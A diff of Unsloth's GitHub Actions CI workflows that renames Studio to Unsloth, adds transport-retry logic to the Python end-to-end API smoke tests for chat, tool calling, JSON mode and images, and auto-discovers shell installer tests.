UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -144,7 +145,7 @@ jobs:
echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV"
echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
- name: Run Studio API & Auth tests
- name: Run Unsloth API & Auth tests
# The script is named WITHOUT a `test_` prefix so it isn't
# auto-collected by pytest in Backend CI's `tests/` walk
# (which doesn't set BASE_URL and would crash at import).
@ -153,7 +154,7 @@ jobs:
STUDIO_AUTH_DIR: /home/runner/.unsloth/studio/auth
run: python tests/studio/studio_api_smoke.py
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true

View file

@ -30,6 +30,13 @@ on:
- 'unsloth/**'
- 'unsloth_cli/**'
- 'tests/**'
# The root installers: tests/sh/*.sh and tests/studio/install/* assert
# against these two files, so a change here must run the suite that
# covers it. Without them an install-only edit (the shape most AMD/ROCm
# routing fixes take) skipped Backend CI entirely.
- 'install.sh'
- 'install.ps1'
- 'scripts/**'
- 'pyproject.toml'
- '.github/workflows/studio-backend-ci.yml'
push:
@ -64,7 +71,7 @@ jobs:
- name: Install backend test dependencies (CPU only)
run: |
python -m pip install --upgrade pip
# Studio's declared backend deps:
# Unsloth's declared backend deps:
pip install -r studio/backend/requirements/studio.txt
# Extras that studio.txt does not list but the import chain needs
# (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography
@ -193,6 +200,7 @@ jobs:
--ignore=tests/sh \
--ignore=tests/studio/test_hardware_dispatch_matrix.py \
--ignore=tests/studio/test_is_mlx_dispatch_gate.py \
--ignore=tests/studio/test_xpu_spoof_pipeline.py \
--ignore=tests/vllm_compat \
--ignore=tests/version_compat \
-m 'not server and not e2e' \
@ -205,36 +213,53 @@ jobs:
env:
PYTHONPATH: ${{ github.workspace }}/studio
UNSLOTH_COMPILE_DISABLE: '1'
# These two files mutate hardware.py module globals at runtime
# via the spoof fixtures, which leaks state into any other test
# that imports hardware. Run them in their own pytest invocation
# so the leak does not cross file boundaries.
# These files mutate hardware.py module globals at runtime via the
# spoof fixtures (CUDA/ROCm/XPU/MLX/CPU), which leaks state into any
# other test that imports hardware. Run them in their own pytest
# invocation so the leak does not cross file boundaries.
run: |
python -m pytest -q --tb=short \
tests/studio/test_hardware_dispatch_matrix.py \
tests/studio/test_is_mlx_dispatch_gate.py
tests/studio/test_is_mlx_dispatch_gate.py \
tests/studio/test_xpu_spoof_pipeline.py
- name: CLI tests (unsloth_cli)
# unsloth_cli/tests had no CI at all: `unsloth_cli/**` was only a paths
# trigger and a ruff target, so 673 tests covering the studio launcher,
# the pre-exposure gate and the auth secret writers ran nowhere, and
# four of them had been failing on main unnoticed.
# Own step, not folded into the tests/ discovery above: pyproject's
# testpaths is tests/, and this suite needs no PYTHONPATH or CUDA spoof
# (it self-bootstraps sys.path and imports neither unsloth nor torch).
run: python -m pytest unsloth_cli/tests -q --tb=short
- name: Shell installer tests
# Subset that does not depend on a writable / pristine install.sh
# tree; test_install_host_defaults.sh checks install.ps1 layout
# which has drifted (separate followup).
# Auto-discovered rather than allowlisted. The old hardcoded list had
# silently fallen seven files behind tests/run_all.sh, including
# test_strixhalo_wsl_reroute.sh -- the only shell coverage of the ROCm
# WSL reroute -- so that suite never ran on a PR. Skips are explicit,
# each with a reason, and tests/studio/test_ci_shell_suite_coverage.py
# fails if this step stops discovering the directory or the skip list
# grows without one.
#
# Skipped:
# test_install_host_defaults.sh: asserts an install.ps1 layout that
# has drifted (separate followup).
# test_install_rollback_lifecycle.sh: already runs on both platforms
# in cross-platform-parity-ci.yml.
run: |
set -e
for s in \
tests/sh/test_get_torch_index_url.sh \
tests/sh/test_mac_intel_compat.sh \
tests/sh/test_node_decision.sh \
tests/sh/test_studio_home_node_dir.sh \
tests/sh/test_system_node_readonly.sh \
tests/sh/test_nvcc_meets_llama_minimum.sh \
tests/sh/test_resolve_cuda_archs.sh \
tests/sh/test_tauri_install_exit_order.sh \
tests/sh/test_torch_constraint.sh \
tests/sh/test_torch_flavor.sh \
tests/sh/test_with_llama_cpp_dir_flag.sh \
tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do
skip="test_install_host_defaults.sh test_install_rollback_lifecycle.sh"
found=0
for s in tests/sh/test_*.sh; do
case " $skip " in
*" $(basename "$s") "*) echo "skipping $s (see workflow comment)"; continue ;;
esac
found=$((found + 1))
echo "::group::$s"
bash "$s"
echo "::endgroup::"
done
[ "$found" -gt 0 ] || { echo "::error::no shell tests discovered under tests/sh"; exit 1; }
echo "ran $found shell installer test files"

View file

@ -9,7 +9,7 @@
# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block
# torch/unsloth, so the job installs only a CPU PyTorch plus import deps.
name: Studio export capability
name: Unsloth export capability
on:
pull_request:

View file

@ -133,10 +133,13 @@ jobs:
- name: Typecheck
run: npm run typecheck
- name: Unit tests
run: npm test
- name: Build
run: npm run build
- name: Built bundle must not contain Studio's unstable_Provider call site
- name: Built bundle must not contain Unsloth's unstable_Provider call site
run: |
set -e
JS=$(ls dist/assets/index-*.js | head -1)
@ -144,7 +147,7 @@ jobs:
echo "main bundle: $JS"
echo "unstable_Provider: hits=$HITS (assistant-ui internals contribute up to 3)"
if [ "$HITS" -gt 3 ]; then
echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Studio bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead."
echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Unsloth bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead."
exit 1
fi

View file

@ -1,7 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Three end-to-end smoke jobs that boot a freshly-installed Studio and
# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and
# exercise the surfaces real users hit through the OpenAI / Anthropic
# SDKs and curl. Each job picks the smallest model that exercises the
# behaviour under test, primes HF_HOME via actions/cache, and shares
@ -27,7 +27,7 @@
# All three jobs run in parallel. Total wall time is dominated by job 3
# on a cold cache; warm cache cuts that to ~3 min.
name: Studio GGUF CI
name: Unsloth GGUF CI
on:
pull_request:
@ -112,7 +112,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -125,9 +125,10 @@ jobs:
- name: Install OpenAI + Anthropic Python SDKs
run: pip install 'openai>=1.50' 'anthropic>=0.40'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -142,7 +143,7 @@ jobs:
fi
sleep 1
done
echo "Studio did not become healthy in 180s"
echo "Unsloth did not become healthy in 180s"
tail -200 logs/studio.log
exit 1
@ -229,11 +230,11 @@ jobs:
return replies
def run_anthropic():
# Two SDK quirks vs. Studio:
# Two SDK quirks vs. Unsloth:
# 1. base_url must NOT include /v1 -- the SDK appends
# /v1/messages itself; otherwise the request hits
# /v1/v1/messages and 405s.
# 2. The SDK sends `x-api-key` by default, but Studio's
# 2. The SDK sends `x-api-key` by default, but Unsloth's
# auth layer is HTTPBearer-only. Override via
# default_headers so Authorization: Bearer ... is
# sent instead.
@ -276,7 +277,7 @@ jobs:
print(
f"[{label}] WARN non-determinism at temperature=0.0 across "
f"{len(determinism_failures)} of {len(first)} turn(s); "
f"small-quant model drift, not a Studio regression. "
f"small-quant model drift, not an Unsloth regression. "
f"Details: " + " | ".join(determinism_failures)
)
# Sanity: turn-2 reply should mention the earlier question, and
@ -290,7 +291,7 @@ jobs:
print(f"[{label}] {status_word} -- 4 turns, history grounded ('paris' present)")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
@ -323,7 +324,7 @@ jobs:
# store xet chunks + blobs + snapshots = ~4 GiB compressed --
# 4-5x file-size inflation, dominated by xet chunks. Use main's
# `--local-dir gguf-cache` pattern to cache the flat .gguf only.
# Studio's /api/inference/load accepts either a HF repo (which
# Unsloth's /api/inference/load accepts either a HF repo (which
# uses HF_HOME) or an absolute file path; passing the absolute
# path keeps the test off HF_HOME entirely so the cache size
# tracks the GGUF file 1:1. The OpenAI/Anth and JSON+images
@ -380,7 +381,7 @@ jobs:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -390,7 +391,7 @@ jobs:
set -o pipefail
bash install.sh --local --no-torch 2>&1 | tee logs/install.log
- name: Reset auth + boot Studio (API-only, default tool policy)
- name: Reset auth + boot Unsloth (API-only, default tool policy)
# We deliberately use the API-only mode rather than
# `unsloth studio run` because the latter calls
# `set_tool_policy(...)` with a resolved bool: on loopback the
@ -400,7 +401,7 @@ jobs:
# tool_policy=None so each request's `enable_tools` field is
# honoured.
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -444,6 +445,8 @@ jobs:
python - <<'PY'
import json
import os
import time
import urllib.error
import urllib.request
BASE = os.environ["BASE_URL"]
@ -464,10 +467,26 @@ jobs:
"Content-Type": "application/json",
},
)
with urllib.request.urlopen(req, timeout = timeout) as resp:
return resp.status, json.loads(resp.read().decode())
# Shared CI runners stall sporadically, so retry transport-level
# failures only; HTTP status errors surface immediately. Bounded
# to fit the job's timeout-minutes: short probes get 3 full
# attempts, long probes one retry capped at 300s (a healthy
# server answers a retry quickly; a stalled one never does).
attempts = 3 if timeout <= 300 else 2
for attempt in range(attempts):
try:
t = timeout if attempt == 0 else min(timeout, 300)
with urllib.request.urlopen(req, timeout = t) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
if attempt == attempts - 1:
raise
print(f"[retry] {path}: {exc!r}", flush = True)
time.sleep(15)
def post_sse(path, body, *, timeout = 600):
def post_sse(path, body, *, timeout = 600, retries = 1, complete_on = None):
"""POST a streaming request and accumulate the assistant
text deltas. The server-side agentic loop ALWAYS returns
SSE regardless of the request's `stream` field, so any
@ -483,6 +502,22 @@ jobs:
invocation markers / tool output, since
`delta.content` alone is not evidence
that the tool path executed.
A shared CI runner can stall the stream transport (the
connection opening, or a mid-stream read) even when Unsloth
is healthy, so retry a stall once with a fresh request
capped at 300s. A stall means the stream did NOT complete,
so partial events are normally NOT returned (an early
tool_start with no tool_end is not proof the tool loop
finished). The one exception is `complete_on`: an optional
predicate over the events collected so far -- when a stall
happens after it is already satisfied (the tool ran and
produced its result before the trailing read timed out),
those events are returned rather than discarded, so the
stall-after-answer case still counts. HTTP status errors
surface immediately; a stall that yields no completed result
across all attempts re-raises so the caller can rotate to
the next seed.
"""
body = {**body, "stream": True}
data = json.dumps(body).encode()
@ -495,26 +530,45 @@ jobs:
"Content-Type": "application/json",
},
)
parts = []
events = []
with urllib.request.urlopen(req, timeout = timeout) as resp:
for raw in resp:
line = raw.decode().strip()
if not line.startswith("data: "):
continue
payload = line[6:]
if payload == "[DONE]":
break
events.append(payload)
try:
chunk = json.loads(payload)
except json.JSONDecodeError:
continue
for choice in chunk.get("choices", []):
delta = choice.get("delta", {}) or {}
if delta.get("content"):
parts.append(delta["content"])
return "".join(parts), events
for attempt in range(retries + 1):
parts = []
events = []
t = timeout if attempt == 0 else min(timeout, 300)
try:
with urllib.request.urlopen(req, timeout = t) as resp:
for raw in resp:
line = raw.decode().strip()
if not line.startswith("data: "):
continue
payload = line[6:]
if payload == "[DONE]":
break
events.append(payload)
try:
chunk = json.loads(payload)
except json.JSONDecodeError:
continue
for choice in chunk.get("choices", []):
delta = choice.get("delta", {}) or {}
if delta.get("content"):
parts.append(delta["content"])
return "".join(parts), events
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
# A stall after the tool already produced its result is
# the case this probe exists to tolerate: keep those
# events. But a stall with only an early tool_start (no
# completed output) is not proof the tool loop finished,
# so it must not pass -- retry once, then raise so
# _run_tool_probe rotates to the next seed.
if complete_on is not None and complete_on(events):
print(f"[retry-sse] {path}: {exc!r}; keeping {len(events)} completed events", flush = True)
return "".join(parts), events
if attempt == retries:
raise
print(f"[retry-sse] {path}: {exc!r}", flush = True)
time.sleep(15)
_STUDIO_TOOL_TYPES = {
"tool_start", "tool_end", "tool_use", "tool_result",
@ -522,11 +576,11 @@ jobs:
def _tool_invoked(events):
"""Structural check: True iff some SSE payload is a real
tool envelope (Studio tool_start/tool_end, Anthropic
tool envelope (Unsloth tool_start/tool_end, Anthropic
tool_use/tool_result, OpenAI non-empty delta.tool_calls /
message.tool_calls / finish_reason='tool_calls' /
role:'tool' / function_call). tool_status is NOT
evidence: Studio emits empty tool_status events on
evidence: Unsloth emits empty tool_status events on
iteration boundaries even when no tool ran.
"""
for raw in events:
@ -645,23 +699,61 @@ jobs:
attempt has structural invocation evidence. WARN (not
FAIL) if invoked but no attempt produces the expected
literal in tool_end.result -- small-quant Qwen3.5-2B can
emit OpenAI tool_calls deltas without Studio's GGUF
emit OpenAI tool_calls deltas without Unsloth's GGUF
agentic loop intercepting them, and that GGUF-vs-OpenAI
format mismatch is out of scope for #5642.
"""
attempts_log = []
best = None
# Cap the wall-clock spent rotating through stalled seeds so a
# persistent no-data wedge fails fast (clean assertion) instead
# of being killed by the job's timeout-minutes. A healthy or
# merely degenerate round answers in seconds, so all seeds still
# run in the normal case; only stalls consume the budget.
probe_deadline = time.monotonic() + 300
for attempt_i in range(max_attempts):
# Cap each read by the budget still remaining (not just a flat
# 180s) and skip an attempt too small to finish, so the whole
# rotation stays within ~300s -- two probes then fit the job's
# timeout-minutes even if every seed stalls.
remaining = int(probe_deadline - time.monotonic())
if attempt_i and remaining < 30:
print(f"[tools] {label}: seed-rotation budget spent after {attempt_i} attempts", flush = True)
break
attempt_seed = SEED + attempt_i
content, events = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": prompt}],
"enable_tools": True,
"enabled_tools": enabled,
"session_id": f"{session}-att{attempt_i}",
"temperature": TOOL_PROBE_TEMP,
"seed": attempt_seed,
"max_tokens": 600,
})
try:
# Bounded per-attempt timeout, no inner retry -- the seed
# loop IS the retry, so a stall raises quickly and rotates
# rather than spending post_sse's full 600+300s. complete_on
# keeps a stall that already produced the tool result (only
# the trailing read timed out) instead of discarding it.
content, events = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": prompt}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": enabled,
"session_id": f"{session}-att{attempt_i}",
"temperature": TOOL_PROBE_TEMP,
"seed": attempt_seed,
"max_tokens": 600,
}, timeout = min(180, remaining), retries = 0,
complete_on = lambda ev: _tool_invoked(ev) and _tool_output_contains(ev, *needles))
except urllib.error.HTTPError:
# HTTPError subclasses URLError, so re-raise a real 4xx/5xx
# here instead of letting the transport-stall handler below
# swallow it and rotate seeds -- an endpoint status failure
# must surface, not be masked as missing tool evidence.
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
# A transport stall that outlived post_sse's own retry:
# log it as a failed attempt and rotate to the next seed
# rather than sinking the whole probe on one bad stream.
attempts_log.append({
"attempt": attempt_i, "seed": attempt_seed,
"transport_error": repr(exc),
})
print(f"[tools] retry {label} attempt {attempt_i}: transport {exc!r}", flush = True)
continue
invoked = _tool_invoked(events)
produced = _tool_output_contains(events, *needles)
attempts_log.append({
@ -720,17 +812,21 @@ jobs:
# because (a) the search may legitimately return no results,
# and (b) DuckDuckGo upstream blocks GHA IP ranges often
# enough that requiring a tool_call marker would create
# red-herring failures from infra rather than from Studio.
# red-herring failures from infra rather than from Unsloth.
try:
# Best-effort and bounded: a single 180s attempt keeps a stall
# from eating the job's timeout-minutes (it already WARNs, so a
# retry buys nothing).
content, events = post_sse("/v1/chat/completions", {
"messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}],
"enable_tools": True,
"permission_mode": "full",
"enabled_tools": ["web_search"],
"session_id": "ci-tool-calling-web",
"temperature": 0.0,
"seed": SEED,
"max_tokens": 400,
})
}, timeout = 180, retries = 0)
print(
f"[tools] PASS web_search stream ({len(content)} chars in content, "
f"{len(events)} raw events)"
@ -739,7 +835,7 @@ jobs:
print(f"[tools] WARN web_search probe failed (non-blocking): {exc}")
# ── 5. Thinking on / off ─────────────────────────────────────
# Studio strips think blocks from message.content for tools-mode
# Unsloth strips think blocks from message.content for tools-mode
# responses, so we toggle plain chat (no enable_tools) and look
# at the surfaced reasoning_content / message.thinking field.
def thinking_call(enable):
@ -753,7 +849,7 @@ jobs:
})
assert status == 200
msg = data["choices"][0]["message"]
# Studio surfaces thinking via reasoning_content (OpenAI
# Unsloth surfaces thinking via reasoning_content (OpenAI
# extension). Fall back to inline <think> markers for
# robustness across template versions.
raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "")
@ -773,7 +869,7 @@ jobs:
print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
@ -865,7 +961,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-${{ env.MMPROJ_FILE }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -878,12 +974,12 @@ jobs:
- name: Install OpenAI + Anthropic Python SDKs
run: pip install 'openai>=1.50' 'anthropic>=0.40'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
# See Job 2's comment: API-only mode keeps tool_policy=None so
# response_format requests aren't routed through the agentic
# tool loop.
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -938,6 +1034,8 @@ jobs:
import base64
import json
import os
import time
import urllib.error
import urllib.request
from openai import OpenAI
from anthropic import Anthropic
@ -956,20 +1054,36 @@ jobs:
"Content-Type": "application/json",
},
)
with urllib.request.urlopen(req, timeout = timeout) as resp:
return resp.status, json.loads(resp.read().decode())
# Shared CI runners stall sporadically, so retry transport-level
# failures only; HTTP status errors surface immediately. Bounded
# to fit the job's timeout-minutes: short probes get 3 full
# attempts, long probes one retry capped at 300s (a healthy
# server answers a retry quickly; a stalled one never does).
attempts = 3 if timeout <= 300 else 2
for attempt in range(attempts):
try:
t = timeout if attempt == 0 else min(timeout, 300)
with urllib.request.urlopen(req, timeout = t) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
if attempt == attempts - 1:
raise
print(f"[retry] {path}: {exc!r}", flush = True)
time.sleep(15)
# ── 1. response_format = json_object (JSON mode) ─────────────
# llama.cpp's HTTP server supports OpenAI-compatible JSON
# mode: `response_format: {"type": "json_object"}` constrains
# the model to emit syntactically-valid JSON. We use raw HTTP
# rather than the OpenAI SDK so that the field shape Studio
# rather than the OpenAI SDK so that the field shape Unsloth
# forwards to llama-server is unambiguous (the SDK rewrites
# response_format depending on which variant it recognises).
# We deliberately do NOT pass a strict JSON schema -- on
# small Gemma-4 quants the GBNF-from-schema path occasionally
# produces empty output, and JSON mode is the surface we care
# about exposing through Studio.
# about exposing through Unsloth.
status, data = post("/v1/chat/completions", {
"model": "default",
"messages": [
@ -999,7 +1113,7 @@ jobs:
print(f"[json] PASS json_object -> {parsed}")
# ── 2. OpenAI image_url (data URI base64) ───────────────────
# 64x64 solid-red PNG. stb_image (used by Studio's image
# 64x64 solid-red PNG. stb_image (used by Unsloth's image
# normaliser at routes/inference.py:3410) rejects 4x4 or
# smaller PNGs as truncated, so we go up to 64x64 -- still
# tiny in token cost. The assertion is loose: any non-empty
@ -1035,9 +1149,9 @@ jobs:
print("[image/openai] PASS image_url accepted, non-empty response")
# ── 3. Anthropic source/base64 image ────────────────────────
# Two SDK quirks vs. Studio: base_url must NOT include /v1
# Two SDK quirks vs. Unsloth: base_url must NOT include /v1
# (the SDK appends it itself; otherwise /v1/v1/messages -> 405),
# and Studio's auth is HTTPBearer-only so the SDK's default
# and Unsloth's auth is HTTPBearer-only so the SDK's default
# x-api-key header is ignored -- send Authorization: Bearer
# via default_headers.
anthropic = Anthropic(
@ -1071,7 +1185,7 @@ jobs:
print("[image/anthropic] PASS source/base64 accepted, non-empty response")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true

View file

@ -1,7 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
#
# Event-loop regression test for the Studio model-load orchestrator.
# Event-loop regression test for the Unsloth model-load orchestrator.
# Pins down issue #5642 (Win10 UI freeze on model load): the /load
# route calls LlamaCppBackend.detect_audio_type synchronously, blocking
# the FastAPI event loop on a chain of sync httpx.Client.post() probes.
@ -14,7 +14,7 @@
# danielhanchen/unsloth-staging-2 (Ubuntu / macOS / Windows all
# green at PR time).
name: Studio load-orchestrator CI
name: Unsloth load-orchestrator CI
on:
pull_request:

View file

@ -33,7 +33,7 @@ permissions:
jobs:
api-smoke:
name: Studio API & Auth Tests
name: Unsloth API & Auth Tests
runs-on: macos-14
timeout-minutes: 25
env:
@ -83,7 +83,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -99,9 +99,10 @@ jobs:
- name: Install pyjwt for the JWT-expiry forge test
run: pip install 'pyjwt>=2.6'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -129,13 +130,13 @@ jobs:
echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV"
echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV"
- name: Run Studio API & Auth tests
- name: Run Unsloth API & Auth tests
env:
BASE_URL: http://127.0.0.1:18895
STUDIO_AUTH_DIR: /Users/runner/.unsloth/studio/auth
run: python tests/studio/studio_api_smoke.py
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true

View file

@ -1,7 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Three end-to-end smoke jobs that boot a freshly-installed Studio and
# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and
# exercise the surfaces real users hit through the OpenAI / Anthropic
# SDKs and curl. Each job picks the smallest model that exercises the
# behaviour under test, primes a model cache via actions/cache, and
@ -108,7 +108,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -124,9 +124,10 @@ jobs:
- name: Install OpenAI + Anthropic Python SDKs
run: pip install 'openai>=1.50' 'anthropic>=0.40'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -141,7 +142,7 @@ jobs:
fi
sleep 1
done
echo "Studio did not become healthy in 180s"
echo "Unsloth did not become healthy in 180s"
tail -200 logs/studio.log
exit 1
@ -228,11 +229,11 @@ jobs:
return replies
def run_anthropic():
# Two SDK quirks vs. Studio:
# Two SDK quirks vs. Unsloth:
# 1. base_url must NOT include /v1 -- the SDK appends
# /v1/messages itself; otherwise the request hits
# /v1/v1/messages and 405s.
# 2. The SDK sends `x-api-key` by default, but Studio's
# 2. The SDK sends `x-api-key` by default, but Unsloth's
# auth layer is HTTPBearer-only. Override via
# default_headers so Authorization: Bearer ... is
# sent instead.
@ -283,7 +284,7 @@ jobs:
print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded")
PY
- name: Stop Studio
- name: Stop Unsloth
if: always()
run: |
kill "${STUDIO_PID}" 2>/dev/null || true
@ -363,7 +364,7 @@ jobs:
path: gguf-cache
key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -376,7 +377,7 @@ jobs:
- name: Assert llama.cpp loads on this macOS
run: bash .github/scripts/assert-llama-loads.sh
- name: Reset auth + boot Studio (API-only, default tool policy)
- name: Reset auth + boot Unsloth (API-only, default tool policy)
# We deliberately use the API-only mode rather than
# `unsloth studio run` because the latter calls
# `set_tool_policy(...)` with a resolved bool: on loopback the
@ -386,7 +387,7 @@ jobs:
# tool_policy=None so each request's `enable_tools` field is
# honoured.
run: |
unsloth studio reset-password
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \
> logs/studio.log 2>&1 &
@ -430,6 +431,8 @@ jobs:
python - <<'PY'
import json
import os
import time
import urllib.error
import urllib.request
BASE = os.environ["BASE_URL"]
@ -450,14 +453,41 @@ jobs:
"Content-Type": "application/json",
},
)
with urllib.request.urlopen(req, timeout = timeout) as resp:
return resp.status, json.loads(resp.read().decode())
# Shared CI runners stall sporadically, so retry transport-level
# failures only; HTTP status errors surface immediately. Bounded
# to fit the job's timeout-minutes: short probes get 3 full
# attempts, long probes one retry capped at 300s (a healthy
# server answers a retry quickly; a stalled one never does).
attempts = 3 if timeout <= 300 else 2
for attempt in range(attempts):
try:
t = timeout if attempt == 0 else min(timeout, 300)
with urllib.request.urlopen(req, timeout = t) as resp:
return resp.status, json.loads(resp.read().decode())
except urllib.error.HTTPError:
raise
except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
if attempt == attempts - 1:
raise
print(f"[retry] {path}: {exc!r}", flush = True)
time.sleep(15)
def post_sse(path, body, *, timeout = 600):
def post_sse(path, body, *, timeout = 600, retries = 1, soft = False):
"""POST a streaming request and accumulate the assistant
text deltas. The server-side agentic loop ALWAYS returns
SSE regardless of the request's `stream` field, so any
call with enable_tools=true must use this helper."""
call with enable_tools=true must use this helper.
A shared CI runner can stall the stream transport (the
connection opening, or a mid-stream read) even when Unsloth
is healthy, so harden the read three ways: retry a stall
once with a fresh request capped at 300s; return any text
already streamed before a stall (a stall on the trailing
tokens, after the answer arrived, still counts); and when
every attempt yields nothing, a hard call re-raises while a
soft call (the best-effort server-side tool probes) returns
None so the caller can WARN instead of sinking the whole
job. HTTP status errors always surface immediately."""
body = {**body, "stream": True}
data = json.dumps(body).encode()
req = urllib.request.Request(
@ -469,24 +499,43 @@ jobs:
"Content-Type": "application/json",
},
)
parts = []
with urllib.request.urlopen(req, timeout = timeout) as resp:
for raw in resp:
line = raw.decode().strip()
if not line.startswith("data: "):
continue
payload = line[6:]
if payload == "[DONE]":
break
try:
chunk = json.loads(payload)
except json.JSONDecodeError:
continue
for choice in chunk.get("choices", []):
delta = choice.get("delta", {}) or {}
if delta.get("content"):
parts.append(delta["content"])
return "".join(parts)
for attempt in range(retries + 1):
parts = []
t = timeout if attempt == 0 else min(timeout, 300)
try:
with urllib.request.urlopen(req, timeout = t) as resp:
for raw in resp:
line = raw.decode().strip()
if not line.startswith("data: "):
continue
payload = line[6:]
if payload == "[DONE]":
break
try:
chunk = json.loads(payload)
except json.JSONDecodeError:
continue
for choice in chunk.get("choices", []):
delta = choice.get("delta", {}) or {}
if delta.get("content"):
parts.append(delta["content"])
return "".join(parts)
